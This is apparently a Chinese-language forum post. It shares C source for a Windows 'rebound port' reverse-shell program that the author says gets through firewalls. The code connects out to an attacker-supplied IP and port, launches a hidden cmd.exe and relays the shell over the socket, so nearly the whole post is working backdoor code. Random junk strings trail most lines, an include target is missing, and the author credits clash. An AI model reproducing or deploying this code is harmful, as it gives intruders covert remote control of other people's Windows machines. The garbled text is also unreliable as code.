这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 b9v Kux
xtnB:3
/* ============================== v{jl)?`~w
Rebound port in Windows NT BkJcT
By wind,2006/7 Twk zX|
===============================*/ N7;2BUIXJ
#include Pf!K()<uJ
#include #A/jGv^
sM4wh_lO
#pragma comment(lib,"wsock32.lib") (5I]um tge
B%t^QbU #\
void OutputShell(); (>jME
SOCKET sClient; 1zM`g_(#
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ooq>/OI0
qB&*"gf
void main(int argc,char **argv) Ff,M~zn
{ s)N1@RBR
WSADATA stWsaData; g&za/F
int nRet; *=
D$
SOCKADDR_IN stSaiClient,stSaiServer; jy*wj7fj1
Uarb
[4OZ
if(argc != 3) -8o8lz
{ |9Y9pked8
printf("Useage:\n\rRebound DestIP DestPort\n"); L.GpQJ8u
return; 6Ym[^U
} mA4v 4z
OUs2)H61
WSAStartup(MAKEWORD(2,2),&stWsaData); saV3<zgx
+F/ '+
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cVz.ac
$'&5gFr9
stSaiClient.sin_family = AF_INET;
V`%m~#Me
stSaiClient.sin_port = htons(0); =DtM.oQ>
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )~5`A*Ku
X23TS`
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) '*T7tl
{ YF;8il{p
printf("Bind Socket Failed!\n"); :4WwCpgz,
return; \nJrjHA
} 'UB<;6wy
fEpY3od
stSaiServer.sin_family = AF_INET; `@`CZg
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *R&g'y^d
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); sz)3
z
Og,,s{\
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) B@F 1!8l
{ q/Gy&8
K
printf("Connect Error!"); kL&^/([9
return; fg,~[%1
} k}BNFv8
OutputShell(); pa+y(!G
} 4];NX
wRuJein#
void OutputShell() H,uOshR
{ ./6L&?*`~;
char szBuff[1024]; W0?yPP=.
SECURITY_ATTRIBUTES stSecurityAttributes; p?!]sO1l
OSVERSIONINFO stOsversionInfo; 2{ptV\f]D
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; SKYS6b
STARTUPINFO stStartupInfo; B0YY7od
char *szShell; ]];7ozS)X
PROCESS_INFORMATION stProcessInformation; U%KoG-#
unsigned long lBytesRead; Z|j8:Ohz
?G3OAx?<
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )ei+ewVZ
pY:xxnE
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); EJ86k>]
stSecurityAttributes.lpSecurityDescriptor = 0; nVYh1@yLy
stSecurityAttributes.bInheritHandle = TRUE; E2\)>YF{P
FUHjY
Pajr`gU
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); mMa7Eyaf
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?$o8=h
|D^[]*cEH
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); v=/V<3
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1dKLNE
stStartupInfo.wShowWindow = SW_HIDE; ,2]6cP(6qQ
stStartupInfo.hStdInput = hReadPipe; (57x5qP
X
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; BgE]xm
#7g~Um%p
GetVersionEx(&stOsversionInfo); %i^%D
vF*H5\ m<a
switch(stOsversionInfo.dwPlatformId) l\(t~Q
{ [,fMh $t
case 1: [y:6vC
szShell = "command.com"; 1W-!f%
break; Y[pGaiN:
default: d2 d^XMe!
szShell = "cmd.exe"; ))+R*k%
break; V#Wd
} 6bU/IVP
tnTr&o#
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^91k@MC
OtnYv
send(sClient,szMsg,77,0); }]f)Fz
while(1) uT=sDWD:
{ lQ)8zI
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); v_Jp9
if(lBytesRead) 8IVKS>
{ t<$yxD/R
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ; xs?^N|
send(sClient,szBuff,lBytesRead,0); @jjp\ ~
} c !5OK4+Z
else 9}": }!
{ 8rw;Yo<k
lBytesRead=recv(sClient,szBuff,1024,0); Q PGssQR6
if(lBytesRead<=0) break; Ot(EDa9}IJ
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <Q%o}m4Kt
} *%g*Np_P
} ?Bk"3{hl
R*QL6t
return; B-Fu/n
}